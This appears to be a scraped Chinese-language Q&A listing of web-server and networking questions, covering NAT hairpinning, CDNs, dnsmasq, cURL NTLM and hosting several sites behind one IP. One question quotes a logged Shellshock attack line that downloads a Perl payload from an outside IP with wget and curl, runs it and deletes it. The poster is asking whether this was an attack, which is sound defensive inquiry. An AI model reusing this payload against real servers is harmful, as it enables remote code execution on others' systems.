标签: webserver

使用公网IP访问内部IP

我有一个带有公共 IP 地址 ( 201.206.x.x)的 DSL 调制解调器,我的内部网络中有一个 Web 服务器 ( 192.168.0.50)。

我设置调制解调器将请求转发到端口 80 到我的网络服务器,因此,如果我201.206.x.x从网络外部访问,它会显示我的网页,如果我192.168.0.50从网络内部的计算机访问,也会发生同样的情况。

现在,问题是当我尝试201.206.x.x从内部网络访问时,浏览器尝试连接到 DSL 调制解调器配置,而不是将我的请求重定向到我的 Web 服务器。

我必须在调制解调器中更改哪些设置才能设置此重定向?

routing webserver

39
推荐指数
4
解决办法
13万
查看次数

CDN(内容分发网络)如何工作?

以 Akamai 作为 CDN。据我了解,当客户端请求页面时,请求会发送到 Akamai 中央服务器,然后该服务器根据客户端的位置选择 Akamai 边缘服务器,然后来自客户端的后续请求直接发送到该边缘服务器。我的问题是:

当客户端(按名称)请求网站时,一旦 DNS 将名称解析为 Akamai 中央服务器的 IP 地址并将其传递给客户端,客户端将保留该 IP 地址,那么后续请求如何能够直接访问 Akamai 边缘服务器的 IP 地址?

或者是否有必要在使用 CDN 时 DNS 解析本身应该由 CDN 服务器完成?

Google、Amazon、Facebook 等巨头有自己的 CDN 服务器还是依赖 Akamai 等 3rd 方 CDN 提供商?说谷歌和雅虎!两者都使用 Akamai CDN,然后使用 Yahoo! 的内容。和谷歌驻留在同一台服务器上?它不会带来潜在的安全问题吗?

networking browser internet webserver cdn

37
推荐指数
3
解决办法
3万
查看次数

如何停止在 Mac OS X (10.11) El Capitan Server 下运行的 httpd?

我将 OS X El Capitan 与配置为允许我通过 VPN 访问我的家庭网络的服务器(应用程序)一起使用。不幸的是,服务器应用程序已经决定开始一堆的httpd进程,现在被监听端口80,443和其他人,即使在服务器设置网站OFF,没有服务应该在这些端口上启动。

我不想或不需要这些服务处于活动状态,并希望 httpd 被关闭(或不开始)。不幸的是,我既不能杀死这些进程(它们只是立即重新启动),也不能通过launchctl控制它们。

sudo lsof -i :80
httpd   422 root    5u  IPv6 0x7...     0t0  TCP *:http (LISTEN)
httpd   425 _www    5u  IPv6 0x7...     0t0  TCP *:http (LISTEN)

ps u 422
USER   PID  %CPU %MEM      VSZ    RSS   TT  STAT STARTED      TIME COMMAND
root   422   0.0  0.0  2457156   6136   ??  Ss    5:55PM   0:00.07 /usr/sbin/httpd -D FOREGROUND -f /Library/Server/Web/Config/Proxy/apache_serviceproxy.conf -E /private/var/log
Run Code Online (Sandbox Code Playgroud)

尝试时:

sudo launchctl unload -w /System/Library/LaunchDaemons/org.apache.httpd.plist …
Run Code Online (Sandbox Code Playgroud)

mac httpd webserver osx-server osx-el-capitan

37
推荐指数
4
解决办法
5万
查看次数

在 OS X 上向本地主机提供页面的最简单方法

我有一个页面,我需要在该页面上提供localhost字体才能正确显示。

执行此操作的最简单方法是什么(在 Mac 上)?

webserver localhost macos

35
推荐指数
4
解决办法
6万
查看次数

如何设置“本地”域,以便本地网络上的每个人都可以查看本地托管站点?

我想在我的一台家用机器上设置 MediaWiki,然后将本地网络上对“wiki.home”或“wiki.local”的所有请求都指向该框。我知道这可以通过单独编辑每个 /etc/hosts 文件来完成,但我想要一些更自动化的东西,例如,如果一个朋友或家人来到我家,他们不需要搞乱hosts 文件以查看站点。

有没有一种简单的方法可以做到这一点?我已经启动并运行了 wiki,我一直在研究 dnsmasq,但我不知道如何正确设置 DNS。由于我想要一个自动化的解决方案,我觉得我需要更改路由器上的 DNS 设置,但是如果我更改了那里的 DNS 设置,我该如何解析外部主机?

配置详情

  • 路由器:Netgear WNR2000v2。路由器为我提供了手动指定 DNS 服务器的选项,我假设如果我想启动并运行它,我将不得不指向我的 Ubuntu 框。

  • MediaWiki 和 dnsmasq 主机:运行 Ubuntu 12.04。我在 dnsmasq 配置方面遇到了一些困难(主要是由于我的经验不足)。例如,我不确定,但我认为在安装过程中,Ubuntu 修改了我的 DNS 设置,以便/etc/resolv.conf现在127.0.0.1成为唯一的 DNS 服务器。那时,我可以解析本地主机,但除此之外别无他法。我已经通过修改/etc/resolv.conf和添加192.168.1.1为辅助名称服务器暂时解决了这个问题,但这里的问题是192.168.1.1将使用 Ubuntu 框作为 DNS。我在这里遗漏了一些明显的东西吗?

  • dnsmasq 设置:取消注释以下几行:

    domain-needed
    bogus-priv
    local=/local/
    domain=local
    
    Run Code Online (Sandbox Code Playgroud)

dns lan webserver dnsmasq

30
推荐指数
2
解决办法
13万
查看次数

是否可以从 NAT 后面托管 Web 服务器

我的 PC 位于具有公共 IP 地址的 NAT 路由器后面。如果我想托管一个网站,那么我相信我需要一个域名,我可以从某个网站购买该域名,该域名承诺解析该域名的所有 DNS 请求并发送我的 NAT 路由器的 IP 地址(假设我不想在他们的服务器上托管我的域名)。现在我想在我的电脑上托管一个网络服务器。

  1. 应该对 NAT 路由器的配置进行哪些更改,以将 example.com 的所有 HTTP 请求转发到我内部网络中的 PC。
  2. 以上策略正确吗?
  3. 是否常用?

networking ip-address nat ip webserver

27
推荐指数
2
解决办法
6万
查看次数

为什么 URL 中的百分号会导致 HTTP 400 Bad Request 错误?

我在 Web 浏览器中错误输入网页的 URL 时偶然发现了这一点。

为什么访问http://example.com/%会导致抛出 HTTP 400 Bad Request 错误?服务器是否在百分号之后或之前期待其他内容?

这似乎发生在 Apache 和 Nginx 服务器上。

apache-http-server http webserver nginx

24
推荐指数
2
解决办法
2万
查看次数

如何在 cURL 中传递我的 Windows 凭据?

我正在编写一个脚本,该脚本使用 cURL 从内部 Web 服务器中提取数据。我可以明确地将 --user 与 --ntlm 结合使用,并且一切正常,但我无法让它识别登录的人并透明地传递它。如果我在 Chrome/Firefox/IE 中访问同一个站点,它会立即授予我权限而没有任何提示(如果这很重要,我们将在此处使用代理)。服务器正在使用 IIS。

iis webserver curl

23
推荐指数
2
解决办法
3万
查看次数

这是攻击还是需要担心的事情?贝壳?

access.log在我的测试服务器上看到了这个:

> 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget
> http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ;
> perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""
Run Code Online (Sandbox Code Playgroud)

没有一个地址与我或我们的 IP 范围(或其他任何与此相关的内容)有关 立即考虑Shellshock 安全漏洞/“bashdoor”。

实际上看起来有人试图将curl“某事”下放到服务器,然后执行该“某事”,然后使用-rf.

这是一个纯粹的测试服务器,没有任何伤害(==除了重新安装之外没有任何伤害) - 但时机非常有趣。据我回忆,以前从未见过这样的事情。

我应该担心,例如“感兴趣”吗?有没有人知道这是什么?

security shell-script webserver

23
推荐指数
2
解决办法
5217
查看次数

如何在单个 IP 地址后托管多个物理 Web 服务器?

我在家里运行多个 Web 服务器,每个服务器都插入我的路由器。

服务器 A 服务器 B 服务器 C

我目前只能使用一台服务器,因为我的 IP (xx.xxx.xx.xx) 端口 80 指向服务器 A。但是有些域指向服务器 A,有些指向 B 等。

使用我的一个 IP 地址,我如何指向每台服务器?例如我的 A(host) 记录都指向我的 IP 地址。

对不起,如果我听起来很混乱。如果我不清楚,请告诉我。

每台服务器都运行 Ubuntu Server 12.04.02 并使用 Apache(如果有帮助)。我的路由器也是 Netgear,我的 ISP 是时代华纳有线电视。

apache-http-server home-server webserver ubuntu-server

17
推荐指数
1
解决办法
6万
查看次数